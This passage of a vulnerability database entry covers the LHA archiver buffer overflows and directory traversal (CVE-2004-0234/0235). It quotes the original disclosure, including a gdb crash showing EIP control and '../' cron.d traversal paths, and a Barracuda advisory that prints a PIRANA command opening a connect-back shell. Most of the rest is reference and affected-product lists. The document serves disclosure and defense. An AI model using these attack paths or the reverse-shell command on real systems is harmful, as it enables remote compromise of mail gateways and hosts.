"url": "http://www.securityfocus.com/bid/10243"
},
{
"trust": 2.0,
"url": "http://www.redhat.com/archives/fedora-announce-list/2004-may/msg00005.html"
},
{
"trust": 1.8,
"url": "http://marc.info/?l=bugtraq\u0026m=108422737918885\u0026w=2"
},
{
"trust": 1.7,
"url": "http://www.debian.org/security/2004/dsa-515"
},
{
"trust": 1.7,
"url": "https://bugzilla.fedora.us/show_bug.cgi?id=1833"
},
{
"trust": 1.7,
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2004-may/020776.html"
},
{
"trust": 1.7,
"url": "http://security.gentoo.org/glsa/glsa-200405-02.xml"
},
{
"trust": 1.7,
"url": "http://www.redhat.com/support/errata/rhsa-2004-178.html"
},
{
"trust": 1.7,
"url": "http://www.redhat.com/support/errata/rhsa-2004-179.html"
},
{
"trust": 1.6,
"url": "http://distro.conectiva.com.br/atualizacoes/?id=a\u0026anuncio=000840"
},
{
"trust": 1.4,
"url": "http://xforce.iss.net/xforce/xfdb/16013"
},
{
"trust": 1.4,
"url": "http://oval.mitre.org/repository/data/getdef?id=oval:org.mitre.oval:def:978"
},
{
"trust": 1.1,
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3aorg.mitre.oval%3adef%3a10409"
},
{
"trust": 1.1,
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3aorg.mitre.oval%3adef%3a978"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16013"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2004-0235"
},
{
"trust": 0.8,
"url": "http://nvd.nist.gov/nvd.cfm?cvename=cve-2004-0235"
},
{
"trust": 0.6,
"url": "http://marc.theaimsgroup.com/?l=bugtraq\u0026m=108422737918885\u0026w=2"
},
{
"trust": 0.6,
"url": "http://oval.mitre.org/repository/data/getdef?id=oval:org.mitre.oval:def:10409"
},
{
"trust": 0.4,
"url": "http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/"
},
{
"trust": 0.3,
"url": "http://www.barracudanetworks.com/ns/products/spam_overview.php"
},
{
"trust": 0.3,
"url": "http://www.stalker.com/cgpmcafee/"
},
{
"trust": 0.3,
"url": "http://www.f-secure.com/security/fsc-2004-1.shtml"
},
{
"trust": 0.3,
"url": "http://mail.stalker.com/lists/cgatepro/message/61244.html"
},
{
"trust": 0.3,
"url": "http://images.mcafee.com/misc/mcafee_security_bulletin_05-march-17.pdf"
},
{
"trust": 0.3,
"url": "http://rhn.redhat.com/errata/rhsa-2004-178.html"
},
{
"trust": 0.3,
"url": "http://rhn.redhat.com/errata/rhsa-2004-219.html"
},
{
"trust": 0.3,
"url": "http://www.rarsoft.com/"
},
{
"trust": 0.3,
"url": "http://www.winzip.com/"
},
{
"trust": 0.3,
"url": "/archive/1/366265"
},
{
"trust": 0.1,
"url": "http://marc.info/?l=bugtraq\u0026amp;m=108422737918885\u0026amp;w=2"
},
{
"trust": 0.1,
"url": "http://distro.conectiva.com.br/atualizacoes/?id=a\u0026amp;anuncio=000840"
},
{
"trust": 0.1,
"url": "http://shellcode.org/audit/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2004-0234"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2004-0235"
},
{
"trust": 0.1,
"url": "http://idiosynkratisk.tk/"
},
{
"trust": 0.1,
"url": "http://www.advogato.org/person/metaur/"
},
{
"trust": 0.1,
"url": "http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm"
},
{
"trust": 0.1,
"url": "http://www2m.biglobe.ne.jp/~dolphin/lha/prog/"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8665"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-8665"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2004-08-18T00:00:00",
"db": "VULHUB",
"id": "VHN-8665"
},
{
"date": "2004-04-30T00:00:00",
"db": "BID",
"id": "10243"
},
{
"date": "2008-05-21T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"date": "2004-05-04T04:25:06",
"db": "PACKETSTORM",
"id": "33241"
},
{
"date": "2004-08-18T04:00:00",
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"date": "2004-04-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-10-11T00:00:00",
"db": "VULHUB",
"id": "VHN-8665"
},
{
"date": "2009-07-12T04:07:00",
"db": "BID",
"id": "10243"
},
{
"date": "2008-05-21T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"date": "2017-10-11T01:29:24.810000",
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"date": "2006-09-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Lha Directory Traversal Vulnerability in Testing and Extracting Process",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Unknown",
"sources": [
{
"db": "BID",
"id": "10243"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
],
"trust": 0.9
}
}
VAR-200408-0140
Vulnerability from variot - Updated: 2023-12-18 11:30Multiple stack-based buffer overflows in the get_header function in header.c for LHA 1.14, as used in products such as Barracuda Spam Firewall, allow remote attackers or local users to execute arbitrary code via long directory or file names in an LHA archive, which triggers the overflow when testing or extracting the archive. The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates.
These vulnerabilities are related to: SA11510 SA19002
Successful exploitation allows execution of arbitrary code. ------------------------------------------------------------------------
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal)
- DESCRIPTION *
LHa is a console-based program for packing and unpacking LHarc archives.
It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD.
- OVERVIEW *
LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough.
By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture:
$ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $
b) two directory traversal problems
LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil".
- ATTACHED FILES *
I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives.
- TIMELINE *
18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory
// Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/
.
TITLE: Zoo "fullpath()" File Name Handling Buffer Overflow
SECUNIA ADVISORY ID: SA19002
VERIFY ADVISORY: http://secunia.com/advisories/19002/
CRITICAL: Moderately critical
IMPACT: DoS, System access
WHERE:
From remote
SOFTWARE: zoo 2.x http://secunia.com/product/8297/
DESCRIPTION: Jean-S\xe9bastien Guay-Leroux has discovered a vulnerability in zoo, which can be exploited by malicious people to cause a DoS (Denial of Service) and potentially to compromise a user's system. This can be exploited to cause a buffer overflow when a specially-crafted ZOO archive containing a file with an overly long file and directory name is processed (e.g. listing archive contents or adding new files to the archive).
The vulnerability has been confirmed in version 2.10. Other versions may also be affected.
SOLUTION: Restrict use to trusted ZOO archives.
PROVIDED AND/OR DISCOVERED BY: Jean-S\xe9bastien Guay-Leroux
ORIGINAL ADVISORY: http://www.guay-leroux.com/projects/zoo-advisory.txt
About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. Topic: Barracuda LHA archiver security bug leads to remote compromise
Announced: 2006-04-03 Product: Barracuda Spam Firewall Vendor: http://www.barracudanetworks.com/ Impact: Remote shell access Affected product: Barracuda with firmware < 3.3.03.022 AND spamdef < 3.0.10045 Credits: Jean-S\xe9bastien Guay-Leroux CVE ID: CVE-2004-0234
I. BACKGROUND
The Barracuda Spam Firewall is an integrated hardware and software solution for complete protection of your email server. It provides a powerful, easy to use, and affordable solution to eliminating spam and virus from your organization by providing the following protection:
- Anti-spam
- Anti-virus
- Anti-spoofing
- Anti-phishing
- Anti-spyware (Attachments)
- Denial of Service
II. DESCRIPTION
When building a special LHA archive with long filenames in it, it is possible to overflow a buffer on the stack used by the program and seize control of the program.
Since this component is used when scanning an incoming email, remote compromise is possible by sending a simple email with the specially crafted LHA archive attached to the Barracuda Spam Firewall.
You do NOT need to have remote administration access (on port 8000) for successfull exploitation.
For further informations about the details of the bugs, you can consult OSVDB
5753 and #5754 .
III. IMPACT
Gain shell access to the remote Barracuda Spam Firewall
IV. PROOF OF CONCEPT
Using the PIRANA framework, available at http://www.guay-leroux.com , it is possible to test the Barracuda Spam Firewall against the LHA vulnerability.
By calling PIRANA the way it is described below, you will get a TCP connect back shell on IP address 1.2.3.4 and port 1234:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \ -p 1234 -z -c 1 -d 1
V. SOLUTION
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.10045, available March 24th 2006.
They also published an official patch in firmware #3.3.03.022, available April 3rd 2006.
It is recommended to update to firmware #3.3.03.022 .
VI. CREDITS
Ulf Harnhammar who found the original LHA flaw.
Jean-S\xe9bastien Guay-Leroux who conducted further research on the bug and produced exploitation plugin for the PIRANA framework.
VII. REFERENCES
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234
VIII. HISTORY
2006-03-02 : Disclosure of vulnerability to Barracuda Networks 2006-03-02 : Acknowledgement of the problem 2006-03-24 : Problem fixed 2006-04-03 : Advisory disclosed to public
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-200408-0140",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.6,
"vendor": "f secure",
"version": "4.7"
},
{
"model": "winzip",
"scope": "eq",
"trust": 1.3,
"vendor": "winzip",
"version": "9.0"
},
{
"model": "cgpmcafee",
"scope": "eq",
"trust": 1.3,
"vendor": "stalker",
"version": "3.2"
},
{
"model": "propack",
"scope": "eq",
"trust": 1.3,
"vendor": "sgi",
"version": "3.0"
},
{
"model": "propack",
"scope": "eq",
"trust": 1.3,
"vendor": "sgi",
"version": "2.4"
},
{
"model": "winrar",
"scope": "eq",
"trust": 1.3,
"vendor": "rarlab",
"version": "3.20"
},
{
"model": "internet gatekeeper",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.32"
},
{
"model": "internet gatekeeper",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.31"
},
{
"model": "f-secure for firewalls",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.20"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.13"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.11"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.10"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.8"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.7"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.6"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.5"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.4"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.3"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.2"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.1"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.0"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.52"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.60"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2004"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.0,
"vendor": "redhat",
"version": "1.14i-9"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2003"
},
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.5"
},
{
"model": "fedora core",
"scope": "eq",
"trust": 1.0,
"vendor": "redhat",
"version": "core_1.0"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.0,
"vendor": "clearswift",
"version": "4.3.6_sp1"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.5"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "6.21"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.0,
"vendor": "tsugio okamoto",
"version": "1.17"
},
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.6"
},
{
"model": "f-secure internet security",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2004"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.0,
"vendor": "tsugio okamoto",
"version": "1.15"
},
{
"model": "f-secure internet security",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2003"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.0,
"vendor": "tsugio okamoto",
"version": "1.14"
},
{
"model": "lha for unix",
"scope": "lte",
"trust": 0.8,
"vendor": "lha for unix",
"version": "1.17"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (as)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (es)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (ws)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (as)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (es)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (ws)"
},
{
"model": "enterprise linux desktop",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3.0"
},
{
"model": "linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "9"
},
{
"model": "linux advanced workstation",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1"
},
{
"model": "linux i686",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "linux i386",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "linux",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "lha-1.14i-9.i386.rpm",
"scope": null,
"trust": 0.3,
"vendor": "redhat",
"version": null
},
{
"model": "hat fedora core1",
"scope": null,
"trust": 0.3,
"vendor": "red",
"version": null
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.17"
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.15"
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.14"
},
{
"model": "webshield smtp",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5"
},
{
"model": "webshield appliances",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan professional",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan for netapp",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise i",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan command line",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "9.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.1"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "6.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5.1"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.0.3"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "3.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "2.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "1.0"
},
{
"model": "virex",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "securityshield for microsoft isa server",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "portalshield for microsoft sharepoint",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "netshield for netware",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "managed virusscan",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "linuxshield",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
